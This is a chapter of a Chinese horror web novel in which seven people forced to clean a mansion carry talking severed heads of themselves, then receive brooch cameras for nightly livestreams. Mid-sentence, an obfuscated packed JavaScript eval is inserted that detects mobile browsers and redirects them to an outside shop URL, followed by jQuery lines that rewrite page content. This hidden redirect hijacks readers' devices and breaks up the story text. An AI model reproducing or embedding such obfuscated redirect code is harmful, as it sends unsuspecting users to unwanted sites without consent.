清晨六点，豪宅的钟声准时敲响。
黄羽翎在龙琴书身边醒来。两人挤在黄羽翎房间的大床上，窗外天色已亮。
“那东西……还在吗？”龙琴书揉着红肿的眼睛。
两人同时望向茶几——两个手提袋静静地放在那里，里面的头颅闭着眼，仿佛也在沉睡。
敲门声响起，门外传来老头平板的声音：“该起床了，现在是佣人工作时间。”
她们匆忙换上昨日的佣人服装。黄羽翎犹豫片刻，还是提起了装着头颅的手提袋。
“真的要时刻带着吗？”龙琴书声音发颤。
“规则是这样说的。”黄羽翎深吸一口气，“走吧。”
走廊里，其他人也陆续走出房间。每个人手中都提着一个透明的袋子，头颅随着步伐轻轻晃动。周笔灰的疤痕头颅闭着眼，伤疤在晨光下格外狰狞；顾辉的黄毛头颅表情桀骜；朱志明的长刘海头颅显得阴柔；叶温缇的哭泣头颅脸上泪痕未干；郑琳达的双马尾头颅上，粉色蝴蝶结依然扎得整齐。
七人在走廊集合，彼此对视间，气氛沉重而诡异。
老头已等在楼梯口，依旧穿着那身笔挺的管家制服。“跟我来。”
他带领众人来到一楼一间标有“工作间”的大房间。屋内摆满了各类清洁工具：拖把、水桶、抹布、吸尘器、梯子……
“今天的工作，”老头宣布，“打扫主客厅、餐厅和二楼走廊。标准要高，必须一尘不染。”
“就我们七个人？打扫整个豪宅？”龙琴书忍不住问。
老头瞥了她一眼：“有问题吗？”
“……没有。”
“开始吧。”
老头离开后，七人面面相觑。郑琳达第一个动起来，放下手提袋，拎起一个水桶：“还等什么？干吧。”
工作就此分配：黄羽翎和周笔灰负责客厅，龙琴书与叶温缇负责餐厅，顾辉、朱志明和郑琳达则负责二楼走廊。
黄羽翎提着水桶和拖把走进客厅。水晶吊灯折射着冷冽的晨光，大理石地面映出她模糊的倒影。她将手提袋放在沙发旁，开始拖地。
拖到一半时，一个声音响起：
“你拖得真慢。”
黄羽翎猛地转头——声音来自手提袋。她的瘦削头颅睁开了眼睛，正望着她。
“你……”黄羽翎喉咙发干。
“我怎么了？”头颅的声音与她一模一样，只是更虚弱无力，“你讨厌我，对吧？讨厌我这么瘦，这么弱，这么……没用。”
黄羽翎握紧拖把杆：“我没有。”
“你有。”头颅轻声说，“每次照镜子，看见自己瘦削的脸，你都会皱眉。你讨厌那段生病的日子，讨厌那个虚弱的自己。”
黄羽翎说不出话。它说对了。
“但你知道吗？”头颅继续道，“那段日子，是你最真实的时候。你不需要伪装坚强，不需要照顾别人，只需要……活着。”
黄羽翎的手微微发抖。
这时，客厅的门开了。老头走进来，身后跟着三道半透明、散发着微光的投影——一位穿着考究西装、面容威严的中年男人；一位身着旗袍、容貌美丽却眼神空洞的年轻女子；还有一个穿着休闲装、表情茫然的年轻男人。
郑世昌，他的妻子，以及郑楚文。
三个投影在沙发落座。郑世昌的投影开口，声音空洞却清晰：“茶。”
老头看向黄羽翎：“去泡茶。”
黄羽翎愣住：“我？”
“你是佣人。”
她放下拖把，提起手提袋走向厨房。每一步都格外沉重。头颅在袋中望着她，嘴角似有若无地扬起。
“你紧张了。”头颅说。
黄羽翎没有回应，专注地泡茶。她的手在抖，热水险些洒出。
当她端着茶盘回到客厅，为三个投影斟茶时，郑世昌的投影抿了一口，皱眉道：“太烫。”
“对不起。”
“重泡。”
再次从厨房回来时，郑世昌的投影啜饮后，只是微微颔首。黄羽翎刚松一口气，郑楚文的投影却忽然开口：
“你手里提的是什么？”
黄羽翎僵在原地。
“给我看看。”
她看向老头，对方面无表情。咬咬牙，她将手提袋放在茶几上，拉开拉链——瘦削头颅完全暴露在投影面前。
郑楚文的投影凝视头颅许久，忽然笑了。那笑容空洞而诡异：“原来如此。你也在扮演。”
黄羽翎不明所以。
“我们都是演员。”投影说，“我演了二十五年，你准备演多久？”
“继续工作。”老头打断了对话。
黄羽翎提起袋子，回到原地。她的心已乱。头颅在袋中静静看着她，眼神复杂。
餐厅里，龙琴书和叶温缇正在擦拭长桌。龙琴书的笑脸头颅睁开了眼。
“你笑得好假。”头颅说。
龙琴书手一颤，抹布掉在地上。
“我说，你笑得好假。”头颅重复道，“你总是这样，对谁都笑，可心里一点也不想笑。”
龙琴书拾起抹布，声音发颤：“我没有……”
“你有。”头颅轻声说，“你怕别人不喜欢你，所以总是笑。可你知道吗？假笑比不笑更让人讨厌。”
龙琴书的眼眶瞬间红了。她看向叶温缇，后者正死死盯着自己袋中那颗哭泣的头颅，面色僵硬。
那颗头颅也在说话：“你为什么从来不哭？”
叶温缇不语，继续擦桌。
“你在压抑。”头颅说，“你觉得哭是软弱，是丢人。但你知道吗？不哭的人，最后会疯掉。”
叶温缇的手停了下来。
此时，郑世昌妻子的投影走入餐厅。她看了看龙琴书和叶温缇，指向巨大的落地窗：“窗户脏了。”
窗户确实蒙着薄灰。投影在餐桌旁坐下，开始阅读一本并不存在的书。
两人搬来梯子。龙琴书爬上去擦拭，叶温缇在下方扶稳。龙琴书的手抖得厉害，抹布几次险些滑落。
“你怕高。”她的笑脸头颅在袋中说，“可别人让你做，你还是会上来。”
龙琴书咬紧牙关。就在擦拭到高处时，梯子猛地一晃！她惊叫一声，死死抓住窗框。叶温缇拼命稳着梯子，摇晃才渐渐停止。
龙琴书爬下来，脸色惨白。投影妻子抬头瞥了她们一眼，未发一语，继续“阅读”。
二楼走廊上，顾辉、朱志明和郑琳达正在擦拭地板。顾辉的黄毛头颅开口了：
“装什么装。”
顾辉不理睬。
“我说，装什么装。”头颅不依不饶，“你明明不爽，想反抗，可还是乖乖擦地。为什么？因为怕？”
顾辉的手顿住了。
“你怕被排斥，怕不被接受。”头颅嗤笑，“所以你装成别人喜欢的样子。可装得越像，越没人把你当回事。”
顾辉的指节攥得发白。
不远处，朱志明的长刘海头颅也幽幽出声：“你躲什么？”
朱志明正擦拭墙角，闻言抬头：“我没有躲。”
“你有。”头颅说，“你用头发遮脸，用眼镜挡眼，不敢看人，也不敢让人看你。”
朱志明沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203877|177457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默。
另一边，郑琳达的双马尾头颅用软糯的嗓音说：“你好可爱呀。”
郑琳达嗤笑：“闭嘴。”
“我说，你好可爱呀。”头颅重复道，“为什么要装得这么凶？为什么不承认自己也想被夸可爱？”
郑琳达停了下来。她盯着袋中那颗扎着双马尾、系粉色蝴蝶结、面容天真无邪的头颅——那是她最厌恶的模样，是她拼命想要撕掉的标签。
“我不是可爱。”她咬着牙，“我是郑琳达。”
头颅笑了：“是吗？”
工作持续到中午。老头出现，带他们前往佣人餐厅用餐。饭菜与昨日无异：白米饭、清炒白菜、土豆丝、一小条草鱼。
七人沉默地坐下，将手提袋置于身侧。头颅们闭着眼，似在沉睡。无人敢放松。
饭后，老头宣布：“下午继续。晚上七点，换上晚礼服，到餐厅集合。”
“晚礼服？”龙琴书问，“哪里来的？”
“房间里有。”老头说完便转身离去。
下午的劳作更为繁重：书房、健身房、影音室……每个房间都宽敞奢华，要求彻底清洁。
黄羽翎在书房擦拭书架时，她的瘦削头颅再次开口：
“累了吗？”
黄羽翎不答。
“你累了。”头颅说，“但你不会说，因为你觉得自己必须坚强。”
黄羽翎的手停在了一本相册上。她忍不住翻开——里面是郑楚文从小到大的照片。从婴儿到青年，笑容逐渐变得空洞。
最后一张是他站在露台上的背影，下方有一行小字：“最后一次直播前。”
黄羽翎合上相册，继续擦拭。
下午五点，工作终于结束。七人累得几乎站立不稳，老头却再次出现，领他们回房。
“一小时后，餐厅见。”
黄羽翎回到房间，浴室里果然挂着一袭黑色露肩晚礼服，裙摆迤逦。旁边首饰盒中，珍珠项链与耳环静静躺着。
她洗漱后换上礼服。镜中人陌生而华丽，但手提袋中那颗瘦削的头颅时刻提醒着她：这一切皆为虚幻。
晚上七点，七人准时出现在餐厅。
每个人都换上了晚礼服，妆容精致，光彩照人。然而每人手中那只透明手提袋，以及袋中与华服格格不入的头颅，让整个场面弥漫着诡异的违和感。
老头站在餐厅中央，身着更为正式的礼服。他拍了拍手。
侧门应声而开，女仆推着餐车入内。但此番餐车上并非食物，而是七个精致的首饰盒。
老头打开第一个盒子，里面是一枚小巧的、做成胸针形状的摄像头。
“这是你们的直播设备。”他说道，“别在胸前。它会记录你们的一举一动，并向‘观众’直播。”
“观众？”郑琳达追问，“哪来的观众？”
老头不予理会，继续宣布：“每晚八点到十点，是直播时间。你们各自回房进行直播。内容自定，但必须符合‘豪门子女’的身份。”
“那头颅呢？”龙琴书声音发颤。
“头颅是评判者。”老头说，“它们会观看直播，给出评价。三天后，依此评分。”
“评分标准是什么？”周笔灰问。
“由头颅自定。”老头面无表情，“现在，戴上胸针，回房准备直播。”
七人相视无言，只能依言而行。黄羽翎别上那枚胸针，微小的摄像头闪着红光，如同一只冰冷的眼睛。
她提起手提袋，走向自己的房间。每一步都沉重如赴刑场。
房门在身后合拢。
直播，开始了。